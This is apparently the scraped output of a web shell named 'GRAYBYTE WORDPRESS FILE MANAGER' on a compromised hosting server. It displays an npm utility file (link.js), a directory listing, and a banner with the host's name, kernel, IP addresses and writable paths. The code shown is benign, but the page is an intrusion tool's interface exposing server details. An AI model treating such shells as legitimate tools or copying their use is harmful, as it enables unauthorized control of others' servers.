✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.51
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/alt-nodejs6/root/usr/lib/node_modules/npm/lib/utils//link.js
module.exports = link
link.ifExists = linkIfExists

var fs = require('graceful-fs')
var chain = require('slide').chain
var mkdir = require('mkdirp')
var rm = require('./gently-rm.js')
var path = require('path')
var npm = require('../npm.js')

function linkIfExists (from, to, gently, cb) {
  fs.stat(from, function (er) {
    if (er) return cb()
    fs.readlink(to, function (er, fromOnDisk) {
      // if the link already exists and matches what we would do,
      // we don't need to do anything
      if (!er) {
        var toDir = path.dirname(to)
        var absoluteFrom = path.resolve(toDir, from)
        var absoluteFromOnDisk = path.resolve(toDir, fromOnDisk)
        if (absoluteFrom === absoluteFromOnDisk) return cb()
      }
      link(from, to, gently, cb)
    })
  })
}

function resolveIfSymlink (maybeSymlinkPath, cb) {
  fs.lstat(maybeSymlinkPath, function (err, stat) {
    if (err) return cb.apply(this, arguments)
    if (!stat.isSymbolicLink()) return cb(null, maybeSymlinkPath)
    fs.readlink(maybeSymlinkPath, cb)
  })
}

function ensureFromIsNotSource (from, to, cb) {
  resolveIfSymlink(from, function (err, fromDestination) {
    if (err) return cb.apply(this, arguments)
    if (path.resolve(path.dirname(from), fromDestination) === path.resolve(to)) {
      return cb(new Error('Link target resolves to the same directory as link source: ' + to))
    }
    cb.apply(this, arguments)
  })
}

function link (from, to, gently, abs, cb) {
  if (typeof cb !== 'function') {
    cb = abs
    abs = false
  }
  if (typeof cb !== 'function') {
    cb = gently
    gently = null
  }
  if (npm.config.get('force')) gently = false

  to = path.resolve(to)
  var toDir = path.dirname(to)
  var absTarget = path.resolve(toDir, from)
  var relativeTarget = path.relative(toDir, absTarget)
  var target = abs ? absTarget : relativeTarget

  chain(
    [
      [ensureFromIsNotSource, absTarget, to],
      [fs, 'stat', absTarget],
      [rm, to, gently],
      [mkdir, path.dirname(to)],
      [fs, 'symlink', target, to, 'junction']
    ],
    cb
  )
}


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
3 Mar 2024 10.41 PM
root / root
0755
completion
--
3 Mar 2024 10.41 PM
root / root
0755
child-path.js
0.283 KB
28 Sep 2021 9.36 AM
root / root
0644
completion.sh
1.624 KB
28 Sep 2021 9.36 AM
root / root
0755
correct-mkdir.js
3.035 KB
28 Sep 2021 9.36 AM
root / root
0644
deep-sort-object.js
0.414 KB
28 Sep 2021 9.36 AM
root / root
0644
depr-check.js
0.381 KB
28 Sep 2021 9.36 AM
root / root
0644
error-handler.js
4.994 KB
28 Sep 2021 9.36 AM
root / root
0644
error-message.js
9.693 KB
28 Sep 2021 9.36 AM
root / root
0644
escape-arg.js
0.657 KB
28 Sep 2021 9.36 AM
root / root
0644
escape-exec-path.js
0.759 KB
28 Sep 2021 9.36 AM
root / root
0644
gently-rm.js
8.646 KB
28 Sep 2021 9.36 AM
root / root
0644
get-publish-config.js
0.788 KB
28 Sep 2021 9.36 AM
root / root
0644
git.js
1.211 KB
28 Sep 2021 9.36 AM
root / root
0644
is-windows-bash.js
0.126 KB
28 Sep 2021 9.36 AM
root / root
0644
is-windows-shell.js
0.149 KB
28 Sep 2021 9.36 AM
root / root
0644
is-windows.js
0.058 KB
28 Sep 2021 9.36 AM
root / root
0644
lifecycle.js
11.369 KB
28 Sep 2021 9.36 AM
root / root
0644
link.js
2.021 KB
28 Sep 2021 9.36 AM
root / root
0644
locker.js
1.81 KB
28 Sep 2021 9.36 AM
root / root
0644
map-to-registry.js
2.663 KB
28 Sep 2021 9.36 AM
root / root
0644
module-name.js
0.927 KB
28 Sep 2021 9.36 AM
root / root
0644
no-progress-while-running.js
0.528 KB
28 Sep 2021 9.36 AM
root / root
0644
output.js
0.205 KB
28 Sep 2021 9.36 AM
root / root
0644
package-id.js
0.39 KB
28 Sep 2021 9.36 AM
root / root
0644
parse-json.js
0.578 KB
28 Sep 2021 9.36 AM
root / root
0644
pulse-till-done.js
0.416 KB
28 Sep 2021 9.36 AM
root / root
0644
read-local-package.js
0.321 KB
28 Sep 2021 9.36 AM
root / root
0644
rename.js
0.312 KB
28 Sep 2021 9.36 AM
root / root
0644
save-stack.js
0.341 KB
28 Sep 2021 9.36 AM
root / root
0644
spawn.js
1.377 KB
28 Sep 2021 9.36 AM
root / root
0644
tar.js
14.461 KB
28 Sep 2021 9.36 AM
root / root
0644
temp-filename.js
0.169 KB
28 Sep 2021 9.36 AM
root / root
0644
umask.js
0.335 KB
28 Sep 2021 9.36 AM
root / root
0644
usage.js
0.563 KB
28 Sep 2021 9.36 AM
root / root
0644
warn-deprecated.js
0.543 KB
28 Sep 2021 9.36 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF